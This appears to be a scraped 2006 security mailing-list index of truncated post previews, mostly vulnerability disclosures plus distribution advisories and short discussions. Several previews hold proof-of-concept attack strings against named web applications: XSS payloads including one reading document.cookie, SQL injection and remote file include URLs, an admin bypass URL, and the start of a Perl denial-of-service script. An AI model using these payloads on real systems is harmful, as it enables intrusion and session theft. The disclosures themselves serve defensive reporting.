Vendor: Plume CMS http://plume-cms.net
Vuln: Remote File Include
Discovered: beford <xbefordx gmail com>

Vulnerable File/Code

./plume-1.0.3/manager/frontinc/prepend.php

[code]
include_once $_PX_config['manager_path'].'/conf/config.php';
[/code]

http://urlanda.org/manager/frontinc/prepend.php?_P

[ more ]  [ reply ]

Isn't the SQL injection vulnerability a bit more critical here?

-----Original Message-----
From: luny (at) youfucktard (dot) com [email concealed] [mailto:luny (at) youfucktard (dot) com [email concealed]]
Sent: Tuesday, May 23, 2006 7:39 PM
To: bugtraq (at) securityfocus (dot) com [email concealed]
Subject: Realty Pro One Property Listing Script

Realty Pro One

http://realtypro1.

[ more ]  [ reply ]

Multiple XSS Vulnerabilities in Tikiwiki 1.9.x

Discovered by Blwood

http://www.blwood.net

** Public **

-------------

Tiki-lastchanges

http://www.site.com/tiki-lastchanges.php?days=3&offset=%22%3E%3Cscr%3Csc
ript%3Eipt%3Ealert('Blwood')%3C/scr%3C/script%3Eipt%3E

ht

[ more ]  [ reply ]

#!/usr/bin/perl

#my Web Server << v-1.0 Denial of Service Exploit

#vendor : Eitsop.s5.com

use IO::Socket;

use strict;

my($socket) = "";

if($socket = IO::Socket::INET->new(

PeerAddr => $ARGV[0],

PeerPort => $ARGV[1],

Proto => "TCP"))

[ more ]  [ reply ]

ENGLISH

# Title : Tamber Forum <= 1.9.13 Multiple SQL Injection Vulnerabilities

# Author : ajann

# Exploit;

SQL INJECTİON--------------------------------------------------------

###http://[target]/[path]/show_forum.asp?frm_id=55'SQL TEXT

###http://[target]/[path]/forum_se

[ more ]  [ reply ]

[MajorSecurity]Socketmail <= 2.2.6 - Remote File Include Vulnerability

--------------------------------------------------------

Software: Socketmail

Version: <=2.2.6

Type: Remote File Include Vulnerability

Date: May, 25th 2006

Vendor: Creative Digital Resources

Page: http://sock

[ more ]  [ reply ]

Pls qjForum to Register and Log İn

# Title : qjForum(member.asp) SQL Injection Vulnerability

# Author : ajann

# Dork : "qjForum"

# Exploit;

SQL--------------------------------------------------------

### http://target/[path]/member.asp?uName='union%20select%200,0,0,us

[ more ]  [ reply ]

SOFTWARE

==========

phpjobboard

DESCRIPTION:

============

job board administration bypass, and edit or add to new job.

example

http://[target]/phpjobboard or your path/admin.php?menu=job&adminop=job-edit&id=[item id]

============================================

greets iskorpitx(best

[ more ]  [ reply ]

XSS (Cross Site Scripting) on My6D Connection Work System.

We Can Run JScript & HTML Codes & META Tags etc...

Example :

http://www.my6d.com/Plugins/SixDegreeMain/MainLogin.aspx?error=<script>a
lert('SPYMETA%20WAS%20HERE%20!')</script>

We Can Direct The Page Our Hacked Index....

Example

[ more ]  [ reply ]

ENGLISH

# Title : Toast Forums 1.6.44 in Xss

# Author : ajann

# Exploit;

XSS Example

### Forum Post Message,Reply..

<IMG onmouseover=Javascript:alert(document.domain) src="x.gif">

Alert: xxx.com /

# ajann,Turkey

TURKISH

# Baslık : Toast Forums 1.6

[ more ]  [ reply ]

ENGLISH

# Title : Easy-Content Forums 1.0 Multiple SQL/XSS Vulnerabilities

# Dork : "Copyright 2004 easy-content forums"

# Author : ajann

# Exploit;

SQL INJECTİON--------------------------------------------------------

### http://[target]/[path]/userview.asp?startlet

[ more ]  [ reply ]

XSS in Monster Top List | MTL 1.4

---------------------------------

Software :

Monster Top List

---------------------------------

version :

Monster Top List 1.4

---------------------------------

Exploit :

www.site.com/index.phpuser_error_message=[XSS-CODE]

------------

[ more ]  [ reply ]

Vulnerable Script: Docebo LMS 2.05
Discovered: beford <xbefordx gmail com>

Noobs: %22Based+on+DoceboLMS+2.0%22

Vulnerable Files

doceboLMS205/modules/credits/business.php =>
include($_GET['lang'].'/language.php');

doceboLMS205/modules/credits/credits.php =>
include($_GET['lang'].'/language.php');

[ more ]  [ reply ]

Hi together,

This also works on serveral web-pages of this product.
http://host/OmegaMw7a.ASP?WCI=Logon&WCE=0;<script>alert(unescape(documen
t.cookie));</script>
There might be some ways for SQL-Injection, too, but i am not willing
to try this at the real system :)

Vendor notified as CC

regards
MC

[ more ]  [ reply ]

:Sun says it is jabber, which is why I put it quotes. Since they have not
:replicated in lab, they are jumping to conclusions. Yes, I agree,
:it is very specific and the backline engineer usage appears 'stretching things'
Most Sun adapters have an actual jabber counter that netstat -k will
spew out

[ more ]  [ reply ]

:Beyond netstat -k, you can probably use lockstat or other kernel
:profiling tools as I mentioned in my earlier post to give them a
:good idea of where the bug really is. Interrupt issues aren't
:always going to be cut and dried. There could be some particular
:flavor of IOS, network adapter, me

[ more ]  [ reply ]

There is no vulneability.

POP3 antivirus is not developed for counteraction of trojan-downloaders. These actions are stopping by firewalls (for example, Kaspersky Internet Security 6.0: Anti-Hacker), proactive defence (Kaspersky Anti-Virus 6.0 and Kaspersky Internet Security 6.0: Proactive Defence)

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 1075-1 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
May 26th, 2006

[ more ]  [ reply ]

Address Space Layout Randomization is now part of Vista as of beta 2 [1] . I
wrote about ASLR on the Windows platform back in September last year [2] and
noted that unless you rebase the image exe then little (not none!) is added.
ASLR in Vista solves this so remote exploitation of overflows has

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----

Hash: RIPEMD160

---------------------------------------------------

| BuHa Security-Advisory #13 | May 25th, 2006 |

---------------------------------------------------

| Vendor | MS Internet Explorer 6.0 |

| URL | http://www.mic

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----

Hash: RIPEMD160

---------------------------------------------------

| BuHa Security-Advisory #12 | May 25th, 2006 |

---------------------------------------------------

| Vendor | MS Internet Explorer 6.0 |

| URL | http://www.mic

[ more ]  [ reply ]

Script: V-Webmail 1.6.4
Vendor: http://www.v-webmail.org/
Description: V-webmail is a powerful PHP based webmail application with an
abundance of features, including many innovative ideas for web applications
Discovered: beford <xbefordx gmail com>
Vulnerable File

v-webmail/includes/pear/*/*.php =>

[ more ]  [ reply ]

Webmaster at destiney said:

> I pasted the following example XSS code into both form fields, and saw
> no evidence of XSS vulnerabilities:
>
> <DIV STYLE="background-image: url(javascript:alert('XSS'))">

According to the XSS cheat sheet at http://ha.ckers.org/xss.html,
STYLE attributes in DIV ta

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 1077-1 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
May 26th, 2006

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Debian Security Advisory DSA 1076-1 security (at) debian (dot) org [email concealed]
http://www.debian.org/security/ Martin Schulze
May 26th, 2006

[ more ]  [ reply ]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- ------------------------------------------------------------------------
--
Trustix Secure Linux Security Advisory #2006-0030

Package names: kernel, quagga
Summary: Multiple vulnerabilities
Date: 2006-05-26
Affected versions

[ more ]  [ reply ]

Hello,

This is an official response from the TrueCrypt development team.

First, this is not a security bug. It is a known, documented and
expected feature. It is utilized, for example, for the volume header
backup/restore operation.

Quotes from the TrueCrypt documentation:

"WARNING: Restoring

[ more ]  [ reply ]